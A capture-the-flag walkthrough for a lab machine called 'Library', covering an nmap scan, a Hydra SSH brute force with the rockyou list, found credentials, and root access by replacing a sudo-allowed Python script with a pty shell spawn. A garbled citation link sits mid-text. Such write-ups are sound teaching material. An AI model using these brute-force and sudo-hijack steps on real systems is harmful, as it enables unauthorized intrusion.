

Room: Library (Easy)

1. Recon & Scanning

- Use Nmap to scan the target machine for open ports and services:

```
nmap -Pn -sS -sC -T5 -VV <IP>
```

- You'll find two open ports: **80 (HTTP)** and **22 (SSH)**

2. HTTP Enumeration

- Open the site in your browser or check the `robots.txt` file. It references "rockyou" — a well-known password list
- You also spot a username in a blog post—**meliodas**

3. SSH Brute Force

- Use Hydra with the rockyou wordlist to brute-force SSH login:

```
hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://<IP>
```

- Credentials found:

```
User: meliodas  
Pass: iloveyou1  
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```

### 4. Initial Shell & `user.txt`

- Log in via SSH ( `ssh meliodas@<IP>` ) and read the user flag:

```
cat ~/user.txt
```

### 5. Privilege Escalation (Root Access)

- Listing sudo permissions ( `sudo -l` ) shows you can run a script `bak.py` using Python as root  
[infosecwriteups.com+5infosecwriteups.com+5blog.carsonshaffer.me+5](https://infosecwriteups.com/5infosecwriteups.com/5blog.carsonshaffer.me/5).
- Steps:
  1. Remove or overwrite `bak.py` in your home directory.
  2. Create a new `bak.py` containing a simple Python reverse shell or just spawn a root shell:

```
import pty; pty.spawn("/bin/bash")
```

3. Execute it with:

```
sudo python3 /home/meliodas/bak.py
```

## 6. Capture `root.txt`

- Once root shell is gained, read the final flag:

```
cat /root/root.txt
```